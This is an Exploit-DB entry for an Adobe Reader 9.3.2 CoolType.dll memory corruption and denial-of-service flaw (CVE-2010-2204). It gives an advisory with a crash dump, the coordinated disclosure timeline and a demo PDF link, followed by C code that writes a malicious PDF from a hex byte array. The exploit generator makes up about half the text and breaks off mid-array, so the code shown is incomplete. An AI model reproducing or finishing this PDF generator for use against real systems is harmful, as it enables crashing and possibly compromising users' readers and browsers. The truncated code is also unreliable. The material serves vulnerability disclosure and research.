Exploit-DB #14121
Description: Adobe Reader 9.3.2 - 'CoolType.dll' Remote Memory Corruption / Denial of Service
Type: dos
Platform: multiple
Date: 2010-06-29
Author: LiquidWorm

Exploit:
/*

 Title:

 Adobe Reader 9.3.2 (CoolType.dll) Remote Memory Corruption / DoS Vulnerability



 Summary:

 Adobe Reader software is the global standard for electronic document sharing. It is the only PDF
 file viewer that can open and interact with all PDF documents. Use Adobe Reader to view, search,
 digitally sign, verify, print, and collaborate on Adobe PDF files.



 Vendor:

 Adobe Systems Incorporated


 
 Product Web Page:

 http://www.adobe.com/



 Version tested:

 9.3.2
 9.3.1



 Description:

 Adobe Reader suffers from a remote memory corruption vulnerability that causes the application to
 crash while processing the malicious .PDF file. The issue is triggered when the reader tries to
 initialize the CoolType Typography Engine (cooltype.dll). This vulnerability also affects and crashes
 major browsers like: Mozilla Firefox, Opera and Apple Safari. Google Chrome & IE does not crash.
 Talking about Blended Threat Vulnerabilities ;).


 -----------------------------------------------------------------------------------

 (bd0.e14): Access violation - code c0000005 (first chance)
 First chance exceptions are reported before any exception handling.
 This exception may be expected and handled.
 eax=313100ee ebx=0211a722 ecx=00000031 edx=02e091a4 esi=00017e58 edi=00000000
 eip=08075dc2 esp=0012d478 ebp=0012d488 iopl=0         nv up ei pl nz na pe nc
 cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
 CoolType!CTInit+0x2f827:
 08075dc2 660fb644322c    movzx   ax,byte ptr [edx+esi+2Ch]  ds:0023:02e21028=??

 -----------------------------------------------------------------------------------



 Tested On:

 Microsoft Windows XP Professional SP3 (English)
 Microsoft Windows XP Professional SP2 (English)
 Microsoft Windows 7 Ultimate
 GNU/Linux Ubuntu Desktop 9.10 (i386) 32-bit
 GNU/Linux Fedora 10 (Cambridge) / 2.6.27.41-170.2.117.fc10.i686
 



 Vendor Status:

 18.04.2010 - Vendor informed.
 18.04.2010 - Vendor replied.
 07.05.2010 - Asked vendor for confirmation.
 07.05.2010 - Vendor confirms vulnerability.
 03.06.2010 - Asked vendor for status.
 03.06.2010 - Vendor replied.
 24.06.2010 - Vendor reveals patch release date.
 29.06.2010 - Coordinated public advisory.



 Advisory Details:

 Zero Science Lab Advisory ID: ZSL-2010-4943
 Advisory: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4943.php
 Adobe Advisory ID: APSB10-15
 Advisory: http://www.adobe.com/support/security/bulletins/apsb10-15.html
 CVE ID: CVE-2010-2204




 Live Demo:

 http://www.zeroscience.mk/codes/thricer.pdf




 Vulnerability Discovered By:


 Gjoko 'LiquidWorm' Krstic

 liquidworm gmail com

 Zero Science Lab - http://www.zeroscience.mk

 15.03.2010


*/





#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
 
#define FFORMAT "Thricer-Acrobat.pdf"
 
FILE *fp;

char pdf_start[] = {
	0x25, 0x50, 0x44, 0x46, 0x2D, 0x31, 0x2E, 0x35, 0x0D, 0x0A, 0x25, 0xB5, 0xB5, 0xB5, 0xB5, 0x0D, 
	0x0A, 0x31, 0x20, 0x30, 0x20, 0x6F, 0x62, 0x6A, 0x0D, 0x0A, 0x3C, 0x3C, 0x2F, 0x54, 0x79, 0x70, 
	0x65, 0x2F, 0x43, 0x61, 0x74, 0x61, 0x6C, 0x6F, 0x67, 0x2F, 0x50, 0x61, 0x67, 0x65, 0x73, 0x20, 
	0x32, 0x20, 0x30, 0x20, 0x52, 0x2F, 0x4C, 0x61, 0x6E, 0x67, 0x28, 0x6D, 0x6B, 0x2D, 0x4D, 0x4B, 
	0x29, 0x20, 0x2F, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x54, 0x72, 0x65, 0x65, 0x52, 0x6F, 0x6F, 
	0x74, 0x20, 0x31, 0x30, 0x20, 0x30, 0x20, 0x52, 0x2F, 0x4D, 0x61, 0x72, 0x6B, 0x49, 0x6E, 0x66, 
	0x6F, 0x3C, 0x3C, 0x2F, 0x4D, 0x61, 0x72, 0x6B, 0x65, 0x64, 0x20, 0x74, 0x72, 0x75, 0x65, 0x3E, 
	0x3E, 0x3E, 0x3E, 0x0D, 0x0A, 0x65, 0x6E, 0x64, 0x6F, 0x62, 0x6A, 0x0D, 0x0A, 0x32, 0x20, 0x30, 
	0x20, 0x6F, 0x62, 0x6A, 0x0D, 0x0A, 0x3C, 0x3C, 0x2F, 0x54, 0x79, 0x70, 0x65, 0x2F, 0x50, 0x61, 
	0x67, 0x65, 0x73, 0x2F, 0x43, 0x6F, 0x75, 0x6E, 0x74, 0x20, 0x32, 0x2F, 0x4B, 0x69, 0x64, 0x73, 
	0x5B, 0x20, 0x33, 0x20, 0x30, 0x20, 0x52, 0x20, 0x37, 0x20, 0x30, 0x20, 0x52, 0x5D, 0x20, 0x3E, 
	0x3E, 0x0D, 0x0A, 0x65, 0x6E, 0x64, 0x6F, 0x62, 0x6A, 0x0D, 0x0A, 0x33, 0x20, 0x30, 0x20, 0x6F, 
	0x62, 0x6A, 0x0D, 0x0A, 0x3C, 0x3C, 0x2F, 0x54, 0x79, 0x70, 0x65, 0x2F, 0x50, 0x61, 0x67, 0x65, 
	0x2F, 0x50, 0x61, 0x72, 0x65, 0x6E, 0x74, 0x20, 0x32, 0x20, 0x30, 0x20, 0x52, 0x2F, 0x52, 0x65, 
	0x73, 0x6F, 0x75, 0x72, 0x63, 0x65, 0x73, 0x3C, 0x3C, 0x2F, 0x46, 0x6F, 0x6E, 0x74, 0x3C, 0x3C, 
	0x2F, 0x46, 0x31, 0x20, 0x35, 0x20, 0x30, 0x20, 0x52, 0x3E, 0x3E, 0x2F, 0x50, 0x72, 0x6F, 0x63, 
	0x53, 0x65, 0x74, 0x5B, 0x2F, 0x50, 0x44, 0x46, 0x2F, 0x54, 0x65, 0x78, 0x74, 0x2F, 0x49, 0x6D, 
	0x61, 0x67, 0x65, 0x42, 0x2F, 0x49, 0x6D, 0x61, 0x67, 0x65, 0x43, 0x2F, 0x49, 0x6D, 0x61, 0x67, 
	0x65, 0x49, 0x5D, 0x20, 0x3E, 0x3E, 0x2F, 0x4D, 0x65, 0x64, 0x69, 0x61, 0x42, 0x6F, 0x78, 0x5B, 
	0x20, 0x30, 0x20, 0x30, 0x20, 0x35, 0x39, 0x35, 0x2E, 0x35, 0x20, 0x38, 0x34, 0x32, 0x2E, 0x32, 
	0x35, 0x5D, 0x20, 0x2F, 0x43, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x73, 0x20, 0x34, 0x20, 0x30, 
	0x20, 0x52, 0x2F, 0x47, 0x72, 0x6F, 0x75, 0x70, 0x3C, 0x3C, 0x2F, 0x54, 0x79, 0x70, 0x65, 0x2F, 
	0x47, 0x72, 0x6F, 0x75, 0x70, 0x2F, 0x53, 0x2F, 0x54, 0x72, 0x61, 0x6E, 0x73, 0x70, 0x61, 0x72, 
	0x65, 0x6E, 0x63, 0x79, 0x2F, 0x43, 0x53, 0x2F, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x52, 0x47, 
	0x42, 0x3E, 0x3E, 0x2F, 0x54, 0x61, 0x62, 0x73, 0x2F, 0x53, 0x2F, 0x53, 0x74, 0x72, 0x75, 0x63, 
	0x74, 0x50, 0x61, 0x72, 0x65, 0x6E, 0x74, 0x73, 0x20, 0x30, 0x3E, 0x3E, 0x0D, 0x0A, 0x65, 0x6E, 
	0x64, 0x6F, 0x62, 0x6A, 0x0D, 0x0A, 0x34, 0x20, 0x30, 0x20, 0x6F, 0x62, 0x6A, 0x0D, 0x0A, 0x3C, 
	0x3C, 0x2F, 0x46, 0x69, 0x6C, 0x74, 0x65, 0x72, 0x2F, 0x46, 0x6C, 0x61, 0x74, 0x65, 0x44, 0x65, 
	0x63, 0x6F, 0x64, 0x65, 0x2F, 0x4C, 0x65, 0x6E, 0x67, 0x74, 0x68, 0x20, 0x34, 0x38, 0x31, 0x3E, 
	0x3E, 0x0D, 0x0A, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6D, 0x0D, 0x0A, 0x78, 0x9C, 0xC5, 0x97, 0x4D, 
	0x4B, 0xC4, 0x30, 0x1